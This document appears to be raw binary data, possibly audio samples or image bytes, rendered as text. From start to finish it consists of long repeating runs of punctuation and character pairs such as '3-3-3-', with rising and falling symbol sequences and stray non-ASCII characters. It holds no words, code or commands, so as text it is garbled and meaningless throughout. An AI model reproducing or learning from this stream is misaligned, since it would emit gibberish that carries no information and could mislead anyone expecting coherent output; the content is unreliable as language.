$"&$)',*/,105275:7=9?=A?FCHFKHNJRLSOVRYT[W_[b^e`hdkfmiplsmuozs|u~y|µĸƺɽ˿ʾǺŹö}zw~u|szqxovmtkqiogmdlch`f^d\bY_X]U[SXQVOUMSLPINGLEJBH@E=B;@9=8<6:3724.3-3-3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,5+5,5,5,5,3,3,3,4,5,5,3,2,2-3.4.5-5,7+7*8+7,5,2,1-1-2.4/411306-:->/A1D3H5J6M4P2T/V0Z0\0]0`1b1g1i1k1k1m0n/p.s-t-v.w-x-y+{+}+~+,,-+)***+,+++*+++*))**))))))))))))))))**+*())*+)))**+++++***)('))**+**+++--,-,,,}+|+{+z,z+x,w,u-t-s.r.p/n/k0h0e1a0]0Y0U1Q2K2G0B1>08/3102/2.3-3-4-4-5,4-5,4-5,3-3-4-4-4-4-3-3-3-3-3-3-3-3-3,3,3+3,3,3-3-3-3-5,5,5,5,5,3,3,3,3,3+3+3+3+3,3-2.2.2.2.2.2-2-2-2-2-2-3-3-4,5,5,5-4-3-3-3-3-3,3,3+3,4-3-3-3.3-2-2,2,1*2)2* 2* 2) 1*/(.).)-)-',' ,&#,&&+&))%+*&.*%/+%1+#6*!;*!=)!?)!A(!C'!E% H%J#M#O"Q"R"T$V%X#X#[#]"_ a!d f hjlmoqtuwx|}~|{ywtrp n k h f dc b a_!^!]!\"Y"W$U%T%R%O%M#I%!F%"D%"A&"@'#=($9)#6*%3+%0,&--&+-&)-&&,&$,'#+'",' +(-(.).).*/+ /+ /+/+/+1*2*1*0, /. .1,4-9+<(A")E()I.*L4)N8$P?"RC"UF"WJ!ZM \R^U`Wb[c^d`ebgehfigigjhlhmimjnkompmpoopppqrqrrrqrqsrsrtsurtqsqsqsqqrqrprqrqrqrrrsrsrsrsqqpqoononmmmlklkkjjiihighehdgcfae`d^c]c\b[aZaY`X_U_T^R^P]O\M[KZHZH XH"VG!UF!UE"TC#TB#S@$Q?#P>#O<%N;%N:%M8%L6%K4'J2&I1&I/'H-(G,(E*+C'+C%+B#,A!-?,>-=/;0:07/5.3 ///-1,2,4,6-8,8+5+2+2+2+5,5,5-6,5,6,5,5,5,4,3+2,0.1/3./.--4+4)3.01132/3*9-7*5*/-/03.4*5-21,1200)4-5/2.7-8*=./(,/+1-.5+?,9);11.1-.++.01/(7+7)9+9-0+/.2/7*<+8-8.;,8,3,/...4+7*8*4+0--./.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4.5/71:4<6?9A;C>E?HAKDMFNHQJSLVNWPYR[U]VaXc[d\f_hakcneqisjtlwnyp|r~uwy{}·Źȼʿ̿ʽȻƹĸ|y}xytvqsoqkmikfhdebb__\\YZVWSTPRNPLLIJGGDDBA?=<:88663401..+*('%$#"  #!%$)',)/,2.527597=9?<A?EBHFLINJQLSOVRYT\X^Za^d`hcjfliokrnupxs|u~x{~ĸǺȽʾɼǺŸö~}zx~t|sypxnvltkqhnfmdkbh`f^d\bZ_W]U[SXQVOTMRKPINGMEJBH?E=B;@9=7;493714/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5+5,5,5,5,3,3,3,4,5,5,3,2,2,3,4+5+5+5+6+5,5-3,2-1.0/0204182:0=0@1D0G/J/N0P1S1V/Z-]/`.a/c0e0h1j0l0n/p0q0s.t.v+x,y-z,|,}+~*)*+**))*+,++***)*++('('(((('((((((''''(()*+)('')))*)+++,+,++*))**)**++-,+,,.---},|-{-z.x-w-v,u-t-s,r-p-o-n.l.i/f0c2_2Z3V2R1L1G2A2=1814212.3,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-3-3-3,3,3+3,3,3-3-3-3-5,5,5,5,5,3-3-3-3-3,3,3,3,3-2.2.2.2.2.2.2-2-2-2-2-2-3-3-5,5,5,4-3-3-3-3-3,2,2+2*2+2,2,2-1-1,1, /+ .*.)/(/(/'/'.' ,&%+%&+&(+$+*%/(#2("6(":'!<&"?&!A&"C%!F%J&M&O$P$S#U"W Y[_acegimnoqsuz|} !""%& & '!'!'!(#*#+$+$+$+$+$+$,%,%,&,%,&,%,%,%,%,&,%,%,%*$(#(#(#'"'!'!$#""! ~~||{zwtsqnkjgd b!b!a"_"Z#W"U#T$Q$M%J( H'!D(!A("?("<*":)#8'$5'$4'$1($/)%++&(*&$+' -(-)/).)0)3*4)3( 2( 1* 0,/../ +2 *5*8*<,@",D'+G/)J5)M9(Q<&T@$WE"YI [M]Q_T_WaZc[e]f`f`gahbjcldkfmhminkmmmmmonoooppppqrqrqtrurururtqrqrrrrqrqrqrqqrqrqrrsrsqrqrprprqrnononnmmkkkkkijhjgifhegcgcead_d^c]b\aZaWaV`T^R_Q^O]M\L[LYKWJVI VH!UG!UE"TC#RB$Q@#P?#P>#N<$M:&M8&M7%L6$J4&I1'H/'G.)F-(E*)C(*B&*B%)A#*?!,=.<.;.9.6-3.1 0/2-3+6,9,:,6,2,3,3,5,5,7,7,7,7,5,5,5,5,5+4,2.1/3//-.,6-2(510./.1/4,8)9(7+0.*,6/8+6-0/,//.5/4,3-3.6-=.8)5.,1',0-7+6%>17.3-6060.0,-5,3(4*5)9-3,.+2-9+:(2,2-:,:-5...-,6*:):)6*0,../.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.3-3-4.6082:3<7?9@:B<D?HAJDLFOHQKTKUNWPZR\T_WaXbZd\f_jalcpfqhrjulxnzp|r~uvxz}ĶǹȻ˽Ϳ̿ɽȼŹø~zy{wyuwqsnqknikfhdebb_^[\XZUWSTQQNPLLIIGFDCA@>=<:88663400--+*('%$"! ! $"'&+(.+0-406498<:?;A>CAGEJHNKPLRNUQWS[W^Ya\e_hbidlinkqntpwryt~w{}õķƺɽʿ˿ɼǺŹö~}{yv|szqwnvlukqhofldibg`f^d\aY_X]U[SXQVOTMSKPINGKEJBH@F=C;A9?8:481705/3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,4,3-3/10112316191<1?2A1E2H1L0O0Q0U/X0Z0\/_-c.e/g/h/j.l.o.q.q.t.u/v/x.y,z-{-}-~.-+***+,*+++,++****+++)''())*))(()))**)))*****)(''())))***+++++*))*))*+,,-,+,-}-},{-{-y,x-w-v.t-s-r,q,p+o,n,l,l,j-g-d-a/\0X1S2O1J0D0@/:-5+2-/0.3.4-5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2,1+1*1*0+ /* -)-(-(-)-(-(+(*(!*'$)&(*&+*%.)%0)#4*"9*!;*!<* ?) C' E' I'L&M&P%R%T$U#X![!]!^!b!d fikoqsux  ##$&!'"(#+&-(/*1,3/4263748596:7>:>C>B>B?B?B?B@C@B@A>B>C?D?D?D?D?D?D?D@D?D@D?D@D@D?D@D?D@D?C@B@B@B@B@B@C@C@D@C?C?B>A=A=?<=;=:;8:7968521100..,+))'($&%$"!  {wusromj i g"e"b#`#]$Z%X&V&T'Q' K&"D'#A'#@(#>(#:)$8*$6+$2-%0-%,/$+/%(.&&.' .*.*-*,*,*-* ,+ +, '- '. (1+5+8*='A$)D)*H-(L1'P7%R;#U@ VCYG[K]M_P`SaWaYbZd[e]g^g_ibieighiijiljllklkmmmnnpnrosososptptquqtrsqrqrqrqrpqpqqrqrqrqsquququqrpqpqopoononlmkljkikhjgjgiegcgcfae_e]d\cZbXbWaU_S_Q_P]P[PZOZM YL YJ XI WG!VE"TC#SB$RA#Q@#Q>$P;%P:$O9$N7$L5%K3%J1'H/'H-(G,(F))D()C'*B$,A"-? -?-=.;-9/704 011.2-4-5-4,2,3-3.4.4-5-5-5-5,3-3-3-4,8+9+6-2.1/5,8*6+1+3-8-;,1-.-7)<+8+3*0);.9+4,4-5.1-302,6/5-3)4)4*/*-0306*2&1+.01-9)6'5+2+3,4,1-//2/4-8+7,2.4,4+).(/4,9-8.3-1,8+;*;*8+4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.3-3-3-4.6071:4;6=9@:B=F?HAJDMFOHPJRLTNWPZS\U]V`XbZe]h_jaldnfqhrjulxn{q|r~tvy{~µķŹȼʾ̿ʾǻŹ|z~y{wytwpslpkmijggddab]_Z\XYUWSTPQMNKLIHFEBB@>=<::784622/0-,*)'&$#"!!#"'%)(-+0-3/6286:9=;A=C@ECIFLJOLRNTPWRZU]Y`\c^faidkgmjpmrouryt|wz|¶ŸƺȼʾɽǺŹö}{yw}u{qwovltksiofndkbh`f^d]aZ`X]V[SXQVOTMRKPINGMEJCH@F>D;B9?7=581706/4.2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1.3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,2,3,3-2.1.100215182:1>/A0C1F1J0L1O0S/V0Y/\/^/`/c.e.h-j-k-m-o-q-s-t,v-w-y-z.{-|,~-~...,+++++++*+++++**))***)'))*****)))))**))**)())'''''()()))**+**+++**+++,,--~-}-|-{-y-y.w.w-u-t-s.r-q.n-m-m-l,k-j,i,h-f.b-^.Z/V0R1L1G1B0>/:.4-2-//.3.4.5-5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3.3.3.3.2.2.2.2.2.3-4-4-4-4-4-4-3-3-3-2-2,2,2,2,1+2+2,1+1+1+0+ 0* /*/)/).)-(+% *$$*%%*%'*&**%-(%/&$2%#5%#9%#=$"?%"A% E'J'L'O'Q'S%V$Y#\#^"`#b!d!fkpqsuxz{~!"$%'!)#*%,'.)0,2-61:5;6=7?:AD?C?C?D?D?E@D@CACADBEBECECFCFCFCFCFCFBEBGDFDFDFDFDFEFDECECECFCEDGCFCFBFBFBFBFBFBFBFCFCFCFCFCFCECDCEDDCECEDFDFDEDFCFCFCFCFCFBCBDBCACAB@B@DCCCDBDBDCCCC@C=B;A:@8>6=5;37/6.3,1)/',%(##!" }yxwvspnk i hf!e"]"U# Q$P%N&L& I' G( D+ B+!?, >+!;+"8*$1(&+)')*(%+(",(-)-*-*,**)***,*/)4(7);*?"+B&*G,)I0'M6$O9"R> UAWCYF[J\O]P^R_TaVbWdYe\e_eaedfegghgifigjhjkklknlolompmqnrnrosqsrrqrqrqrqrqrqrprqspsptptptqsqsqsqrpqqqqqooomnlmllikjjhjgifhegdgaf`e^d\d[cYaXbVaU`T_S^R]Q\P[NZLYJXH WF VF!UD!TC!SA"R?#S="Q<"P;#O9$M7#M5%K2%K0'I/'H.(H,'F*(E')C%*B#+A"+@ ,>-</;0905 /2 /00/0-0,1,1,2-3.3-4-4-3-3-3-2-2-2,6,7,5,/.,/5,;*4+615+:+8'0+,-6-:/7-3+3+1*5,6-6,4*7.4,2,3-3*5-3+5,2--/1,8)7*0+,0*+3+7,7,8-<20*2.101/0+7-5/012/2+,.-.7,9-5-0/105-8,:+8,5,4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.5/82:4;6?8A:D<G?HAKDMFOHPJRLTNWQZS\U^V`Xc[f]h_kbldnfphrjulxozq|s~twy|~µĸƹɽ˾Ƚƻĸ}{~y{uyrvorlpklijfgcd_a]^ZZWXTURSOQMNJKHHEDBA>><<9:775511..,+)('%#"!!#!&$)(,*0,2/6184:7=;@=C?FBHFKHNKRNTPVRZT\X`Zb]d`hcjemiolqouqxs|v~y{~´ķƺǼʾʿɽǻŹ÷}{zw~u{sypvmskriqhnelch`f^d\b[`X^V[TYRWPUMQKPINGLEKBI@G>D<B9@7=5<3706/6.4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.0/1/1.2.2.2.2-2-3-3-3-3-3-3-2,2-2-1.1/010306080<1@2C1F/J0L0O.Q/S/V.Y.\-_.a-d-f.h-k,m,o,p,q,s,u,w+x+z+{,},~+~-,-.--,,++++,,***+++**((()))())*+++**))((******)())((((())()(***++**+,++,,---}-|.z.y-x.w-v-u.t-s-r-q.p.n.l.j/i.i.h.f.g.e.c/`/]/X/T2P2K1D1?09/5/3.0./0/1.4.5-5,5,5,5,3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2.2.2.3.3-3-4-5,5,5,5,5,5,3,2+2+2,1,1,1+1*0* 1* 0* 0*/)/).)-(-(,'-&"-'#,%')$/("3("5(#6'#9'#<&#@$!C# F" I"M!O!Q!U"Y#[#]"`"c filnqtux!$!'$)&,)1.407395;7=:?=@?@@BABBCCCCECFBEBEBFBFBFBFAEAFBGBHCHDIDHEHEHEHEHEHEGEHFHFHFIFHEHEHEJGJGJGIGHGIGIGIGJGJHKHJHKHKHLHLHLHLHLHLHLHLHLHLHLHLHKGIFHFIGHGIGIHIHIGIGIFIFIFIFHFHEGEHEGEHEGEHEIFHFHEGEGEFDFCFCFCFCFBFBFCFCFBEBDBCACAB@@><<::8855311//,.*,()$&!$#~{yxutohe d!b!^"\#Y$W%T&Q'O'M'J&D%">&"<'#9)$6*$2+$-,%*/&).'%-'#+& *&*'(+)/*1+4,7 ,;%->)*C-)F1&I5$L9#O;;99763300--+*('%%# #!%$''+*--2/4173:6<:?=B@FBHDKHMJPNTPWRYT]W_Zb]d`gbjfmhokqntqwszv~y{~õŸȼɾ˿ȼƻŹ÷}{yw~u|rxqvnskqhogmelci`f^d\bZ`Y]V[TYRVOUMRKPINGKEJBH@F=D;B9@7=5;2916.4-4-4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.0/1.2.2-2-3-3,3,3,3-3-3-3-2.2-1.201325181;1>2A1D2H3J1N/R/T.V.X.Z.\-`-c-f-g,i,k-n,o,q-r,t,u,w+x,{+|+}*+,*-,,.--++*+,++**))*))()('()(())))**)))((''**+*)))())())((((()(***+*)**++,+~,~,|-{-y-x/w.v.u.t-s,r-p-p-n-l.k.j/h.g/e.e-d-b0b/`/]/Z/V/Q0L2I2B0;/6.2//0.1.1.2-3-5,4*4+5,5,5,3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-3,3,3,3,3,3,3,3-3-3-3-3-3-4-5,5,5,4,4+3+2+1+2*1+1+1+1* 0(0(/'0'/'.& .&"-&&,%*,$.+#2+#5+#7*"9)">(!@("B(!D(!G'!J% O#S"V"Y"]!_!b dhklptw{~!& )$,(0+4/618394:7=9?:A9=7;584422//,,)(%%!~|ywsolh!d!`!]![#Y$U%Q%P'L(I(E) A*>,!<,#9+#6)"3(!1(#.(&$*)+* ,*!,,"-.$,1&+6))9,(=/'A3&E5$H8"L:!O= P>!R@"UB!VD!XG YH ZK \N]Q ]T!_W"aY bZcZc[e\f_gagdheigihiiikikikklmmmmnoooopppqrqrqsqsptqtruqtqtqtqtqtqtqtrsrsrrqrqqpqpqoonnmmlllikijhifiehcfbe`e_e]e[cZbXaX`V_T^S]Q\O[MZMYKXHWH WF VDTB SA R?"R>#Q;$P8%O7%N5%L4%K2%J0&I.'H,&G+(E()D&)B#+A-?.>.<.:-7-4 .11/2.1-2.2.3-3-3-3-3-2.2-2-5-7,6+1-+/0-3,-0*.0.'?&*[Q< (.0/0-30)+/>%6^F;%,:#+]O&:(.F+0Y@'7'-- 0^SkaOB=,[FF*/. A-cZnf_O48'*\GB&- * D;jcvg aP :'.2)9(8-0.(0'2-/3.6-4-2-2,2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5-7/92;3=6@8B;D<F?HBKDMFOHQJSLVNXPZR\U^WaYc[f^h`jalcnfqhskvlwnyq|s~uy{}~õŹƻɽʾɽȼƹķ}z~wytwqtoqmnjkhidf`c]_[\YZWWTUQROPLMIIGFBC@A==;;98562300--**('& "%#&&(),,/.4173:6;9><B@DBGDJGMJOMSPVRYT\W_Yb\d`fbjelhojqmrpvsyv{y{}µŷƺɾɾǻź·}{yw~u{tyqwnslqiofmekcjaf^d\bZ`X^W[TYRWOTMRLPINFLEICG@F>C<B9@7=4<3916/4,3+3-3-4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2-2-3-3,3,3,3,3-3-3-2.30202225394>3@2C1F1J1L1O1Q/T-W.Z.\/^.`.b.e.h-j,m,n,p-r,s,t-v+w+w+y+{,}***+++++++,,,*)))****)()(((((&'(()))))))))(((''**,****+++*)*)**))***+++,++*+~+~*|+{+z,y,x-v.u-t.s-r-q-p-o.l-l-k.i/h/g/e.c/b/a/_.^0\1Z1X1T1P1K2E2@1:/3//0-2,3-4.3-3-4,5,4*4+5,5,4,3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3+3*2*0*0* /) 0( /)0)0)0)/&.%$-$%-$),$,,#/,#3*!7( ;(@(D(G(I'J(N(O'P&S&V%Y#]"b!f!j!m p suy|~ $'!,'1,5094=8@;AD@F@F@GAGBGBHBICGDFCFCFDFDFCFDGFHFIGIHIHHHGHHHKHLHLIMHMINJMI~MJ{NI{OJzOKxPKxPKwPJyOJzQJxPJwPJvPJvOJuQJuPKtQJrPJqPJpPKoPKnQKqQKpQLoQLoPKnPKmPKmQLlQMkQLjPLiPLhRLhRLiSMiSMiSMiSMiSMiSMiRLhRLhRLhRLhRLhRLhRKhQLkPKmQKmPKmPKmPKnPKnPJnPKnQKqQKqRLrRLrRLsPKtNJvOJvOJvOJxPJyOJyQI{PJ|OJ}OJ}NJ}OI~NIMHMHMHLHLHLGLGLGKGIGJGIFIFJFKGJGJGJFIFIFJEIDHCICIBIBGBDBAA@A@@?>=<;9;9976430-*)%%}ytpmih e"b$`%^&\&Y'V'R(N(K'G%D%C&!?(#6,%/+%.,$,,$,,%*,'*+**).+(3.(80(<2'@3&C4&H7%J8&L9'O;'R=&R@$TB#VD"XG!YI!ZL#]O#_Q!`S`UaUcWdYd\e^f`gagcgdgehehfhgjikikjklllmmnooppqpqpsquququruqtqtqtpspspqpqqrqrqrrsrsqrpqpqopnmmmllkjkhkghfgdfdgbg_e^d\c\bZaX_V_T^R\Q\Q[OZLZK YI XH VGUE TC!SA#S?$R<$Q;%O:%O8$N6%M3&L3&I1&I/'H-(G*)D'*C$+A!,@-?->-:.906 22201.1-2.3.3-3-3-3-3-2.3-7,:,:*6+2-2-0-(.-4'..jTTT=&.+,/.++) DgWmWD, YKK'VD+ k]_'L.- <#KTRR6F jZ0M6BCFUI$T#^R-/cUPE?JQJ5(/.(4*3--/,10/2.3-1-2,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4+6-7/91;3>5@8C:E=F?IBKDMFOHQJTLVNYOZR\U_WaYd\f^i_jaldofqitkvlwnzq|swyz|~÷ŹǻɽɽȻƸķ|y|vztwqtoqmnkkfhcf`c]_[]YZVWTUQRNOKLHHEEBB@@>=<;784522//-,**(" %#'&*),,0/316385;8>;A>EBHELHOKRMSQUSXVZW]Ya\d_gbjemhojqltovszv}y{}·Ÿǹɽʾǻƺ÷}{yw}u{rypvmskriogldkbh`f^d\bZ_X]V\UYRWPUNRKOIMGLEJBHAE>C<@9?7=4;2806.5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.3-3,4,5,6-4+4,3,2-1-1-2/03062:3=3A3E1H1L1O1R0T0W1Y0\.^/`/b0c/f/h/j/l-o+p,r-s-t,u+w,x-y,z,|,}-+,+*+,**++*+)*))***)))((((()*(('((((()++*))((''*)**+*)**+*)**++*))*++,+,,+~+}+|*z)x+x+w,u,t,s,q,q-o-n-l-k,j-h-h-f-e-c,a-_.].\.[.Z.X1U2S3Q3M1H0B/;-3/12.3,4*4*4+5,5,5,5,5,5,5,5,4,3,3-2-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5-5-5,5,5,5,5,5,4+3+3+2*2*2*1+2+1+2+ 0+ /*/)/(.(.'.'".(%.'(,$.*"3*"7)"9)!=( A' D'I&N#R"U"W"Y!\#a"c"e!g j!o tw|~ &#-*3197=;?=??@>@@@@A@CAFBHCHCICICHDJDJEKFKFJFLGLGLGKEIEIFJFJFLFMGNGMHMI}NH|MHzMHzMJxNJwOJwOJvPItPJsQJrQJpQKnRKmRKkRLjRKiRLiSLiRMiSLfSLfSLfSMfSMeTLcSLbTMaTNaTN`TN`TN`TN`TN`TN`TN_TN^VO^TO]UN[UOZUOYUOYUOYWOXWOYWOYWOYWOYWOYWOYWOYWOYWOYWOYWOYWOYWOYVOYVO[UO]VN^TN^UN^UN^UN^UM`TN`VMaUMaUMaUMaUMaSMcQMeSMeRMfRLfSLhRLhSKiRKjRLkRLkQLkRKmQKmQKnPKnQLnPLoNKqNKrNJsNKvMJwMJyNJzMJ|MJ|NI~OIOIPIOIOHNGMGMFMELELEKEKEGFEEEEEEDDCCCADBBAB?B>A>B=@-;0946 23 100/1.2-3.3-4-4,4,4-5-6-8,8*7+6,4+1,,0+0"/p`>YI&,)/(,',,1l]bXN ,_V<YN+rrYP73DgƼuaO4(phWblu0'=~{HoqG<THBGIYJ?:aL[T C=[YVb3(1*=,<+9-6-2-/-/-2,:*;)6,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5,5-6.91<3>5@8A;C>F?HBJDLFNGPJRLUMWPYR\U^XaYd\e]g_ibldnhqiskumwozq}tvxz|~öŹǻȽʾȻƺŸö|y|vytvqsoplnikficf`c^`\]YZVVSTPQNNKJHHEEBB@?><::6845220.-,+%"&$)(,+..215485:7=;A>C@GDIGMIPLSOTRWUYW\Z_[c^eaidlgnkqlsnvqxu|x{~øŹȺʾ˾ȼƺķ}{zv}t{rypwnslripgmdkbh`f^d\aY_X]V[TZRWPUNRLPIMGLDJBH@E?C<A:>8<4;2916/5-5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3,4,5,6,6-4,3-2-1.1022261:1>2A2D1G1L0O/R.U-X-Z/]/_/a.c.e/f0g0j/l/n.p-q-t.u.v-v,x,z-z,|,|-~-,+,*+,+*)+***())()((('(())()*))((()*))*+*)*)*)('**+***++,,,++++,+*+,--.-},|.{-z-y,x+w*u,u+s+r+p+o,m,l.k-j-h.f.e-d-c-b.`._.\/Z/X.W.V.T/R3N4K5I3D2?0:05002.3,5+5+6)6*5+5,5,5,5,5,5,5,3,3,2-2-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5.5.5.5.5-4,3-3,2+2+2+2+2+0* /* /*.*.).),(+&#+%'*$**#0*#3*#6)":(!>&!B%!E& H&L$P#T"W"^!b f 